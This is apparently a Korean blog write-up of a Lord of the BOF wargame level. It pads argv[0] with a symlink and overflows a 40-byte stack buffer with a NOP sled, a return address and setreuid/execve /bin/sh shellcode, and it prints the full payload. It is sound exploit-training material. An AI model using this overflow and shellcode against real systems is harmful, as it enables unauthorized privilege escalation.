Pwnable/LOB

[LOB] darkelf 문제 풀이!!!!!

RootJJang 2022. 5. 13. 23:13
SMALL

Vérifiez le code source!!

 

[darkelf@localhost darkelf]$ cat orge.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

저번 문제와 비슷하지만 //here is changed가 추가됐네여

 

인자의 0번째 값의 길이가 77이 아니면 프로그램이 종료되네요

 

argv[0]은 ./orge "AA" + "BB"에서 ./orge를 뜻합니다

 

./orge는 총 6글자이므로 심볼릭 링크를 통해 총 77글자로 만들어주도록 합시다

 

그 전에 링크할 파일이 orge면 gdb로 분석 중 권한 문제가 생기기 때문에 orge를 복사한 파일에 링크를 걸어 분석해주도록 합시다

 

[darkelf@localhost darkelf]$ ls
orge  orge.c  orgecp  tmp
[darkelf@localhost darkelf]$ cd tmp
[darkelf@localhost tmp]$ ln -s /home/darkelf/orgecp $(python -c 'print "A"*59')
[darkelf@localhost tmp]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

저때 링크할 파일의 이름을 A 59개로 해준 이유는 파일을 실행시킬 때 /home/darkelf/tmp/파일 총 18 글자가 사용되기 때문에 77-18 = 59개를 해주었습니다

 

한 번 gdb로 분석해보죠

 

RET 주소를 0xbffffbd4로 해줍니다

 

이제 페이로드는 짜봅시다

 

Payload = /home/darkelf/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $(python -c 'print "\x90"*44 + "\xd4\xfb\xff\xbf"') $(python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

엄 이번에도 core dumped가 떴네요

 

core를 통해서 다시 분석해보죠

 

윗부분은 argv[0] 부분이고 아래 0xbffffb5c를 RET 주소에 덮어주면 되겠네요

 

쉘이 따이네요

 

이제 그럼 링크할 파일을 복사본이 아닌 orge로 해줍시다

 

 

LIST

'Pwnable > LOB' 카테고리의 다른 글

[LOB] troll 문제 풀이!  (0) 2022.05.16
[LOB] orge 문제 풀이!!!!  (2) 2022.05.15
[LOB] wolfman 문제 풀이!!!!  (0) 2022.05.13
[LOB] orc 문제 풀이!!!!  (0) 2022.05.13
[LOB] goblin 문제 풀이!!!!  (0) 2022.05.12